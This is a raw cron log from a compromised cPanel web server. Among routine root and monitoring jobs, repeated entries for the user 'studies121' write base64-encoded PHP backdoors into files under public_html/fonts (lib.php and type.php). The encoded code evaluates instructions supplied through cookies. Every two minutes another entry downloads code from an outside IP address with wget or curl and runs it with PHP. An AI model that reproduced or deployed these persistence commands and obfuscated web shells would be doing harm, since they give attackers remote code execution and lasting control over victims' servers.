Sep 10 05:09:01 ip-184-168-122-23 CROND[6253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:09:01 ip-184-168-122-23 CROND[6254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:09:01 ip-184-168-122-23 CROND[6255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:09:01 ip-184-168-122-23 CROND[6257]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 05:09:01 ip-184-168-122-23 CROND[6262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:10:01 ip-184-168-122-23 CROND[6467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:10:01 ip-184-168-122-23 CROND[6470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:10:01 ip-184-168-122-23 CROND[6473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:11:01 ip-184-168-122-23 CROND[6610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:11:01 ip-184-168-122-23 CROND[6611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:11:01 ip-184-168-122-23 CROND[6612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:11:01 ip-184-168-122-23 CROND[6614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:12:01 ip-184-168-122-23 CROND[6709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:12:01 ip-184-168-122-23 CROND[6711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:12:01 ip-184-168-122-23 CROND[6712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:12:01 ip-184-168-122-23 CROND[6713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:12:01 ip-184-168-122-23 CROND[6714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:13:01 ip-184-168-122-23 CROND[6805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:13:01 ip-184-168-122-23 CROND[6807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:13:01 ip-184-168-122-23 CROND[6808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:13:01 ip-184-168-122-23 CROND[6809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:14:01 ip-184-168-122-23 CROND[6894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:14:01 ip-184-168-122-23 CROND[6895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:14:01 ip-184-168-122-23 CROND[6896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:14:01 ip-184-168-122-23 CROND[6900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:14:01 ip-184-168-122-23 CROND[6901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:15:02 ip-184-168-122-23 CROND[7069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:15:02 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:15:02 ip-184-168-122-23 CROND[7072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:15:02 ip-184-168-122-23 CROND[7075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:15:02 ip-184-168-122-23 CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:15:02 ip-184-168-122-23 CROND[7074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:16:01 ip-184-168-122-23 CROND[7281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:16:01 ip-184-168-122-23 CROND[7283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:16:01 ip-184-168-122-23 CROND[7285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:16:01 ip-184-168-122-23 CROND[7284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:16:01 ip-184-168-122-23 CROND[7287]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:16:01 ip-184-168-122-23 CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:17:01 ip-184-168-122-23 CROND[7434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:17:01 ip-184-168-122-23 CROND[7435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:17:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:17:01 ip-184-168-122-23 CROND[7436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:18:01 ip-184-168-122-23 CROND[7532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:18:01 ip-184-168-122-23 CROND[7535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:18:01 ip-184-168-122-23 CROND[7536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:18:01 ip-184-168-122-23 CROND[7537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:18:01 ip-184-168-122-23 CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:19:01 ip-184-168-122-23 CROND[7701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:19:01 ip-184-168-122-23 CROND[7702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:19:01 ip-184-168-122-23 CROND[7703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:19:01 ip-184-168-122-23 CROND[7704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:20:02 ip-184-168-122-23 CROND[7853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:20:02 ip-184-168-122-23 CROND[7855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:20:02 ip-184-168-122-23 CROND[7856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:21:01 ip-184-168-122-23 CROND[8085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
